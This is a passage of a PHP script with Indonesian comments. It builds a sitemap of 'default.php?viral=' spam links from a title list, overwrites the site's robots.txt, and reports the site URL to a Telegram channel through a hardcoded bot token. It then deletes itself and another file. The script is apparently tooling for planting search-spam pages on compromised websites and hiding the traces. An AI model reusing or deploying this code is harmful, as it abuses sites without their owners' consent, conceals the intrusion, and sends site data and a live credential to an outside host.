'. PHP_EOL); fwrite($sitemapFile, ''. PHP_EOL); $fileLines = file($listFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); foreach ($fileLines as $index => $judul) { $sitemapLink = $baseUrl. 'default.php?viral='. urlencode($judul); $lastmod = date('c'); // Mendapatkan waktu saat ini dalam format ISO 8601 fwrite($sitemapFile, ''. PHP_EOL); fwrite($sitemapFile, ''. $sitemapLink. ''. PHP_EOL); fwrite($sitemapFile, ''. $lastmod. ''. PHP_EOL); // Menambahkan elemen fwrite($sitemapFile, ''. PHP_EOL); } fwrite($sitemapFile, ''. PHP_EOL); fclose($sitemapFile); } function generateRobotsTxt($baseUrl) { $robotsFile = fopen("robots.txt", "w"); fwrite($robotsFile, "User-agent: *\n"); fwrite($robotsFile, "Disallow: \n"); fwrite($robotsFile, "Sitemap: {$baseUrl}sitemap.xml\n"); fwrite($robotsFile, "Sitemap: {$baseUrl}wp-sitemap-posts-post-1.xml\n"); fclose($robotsFile); } function sendTelegramReport($message) { $telegramToken = '7330812630:AAHO-CQP8DkbNo-IN6h9-E9kSQguC18MFRs'; $telegramChatId = '@mekisitemap'; $url = "https://api.telegram.org/bot{$telegramToken}/sendMessage"; $data = array( 'chat_id' => $telegramChatId, 'text' => $message ); $options = array( 'http' => array( 'method' => 'POST', 'header' => 'Content-Type: application/json', 'content' => json_encode($data) ) ); $context = stream_context_create($options); $result = file_get_contents($url, false, $context); return json_decode($result, true); } $baseUrl = getBaseUrl(); $listFile = "list.txt"; if (file_exists($listFile) && is_readable($listFile)) { generateSitemap($baseUrl, $listFile); generateRobotsTxt($baseUrl); $rowCount = getFileRowCount($listFile); $message = "{$baseUrl}sitemap.xml"; sendTelegramReport($message); echo $message; } else { $message = "Error: Unable to read $listFile."; sendTelegramReport($message); echo $message; } unlink($fileName); unlink(__FILE__); ?>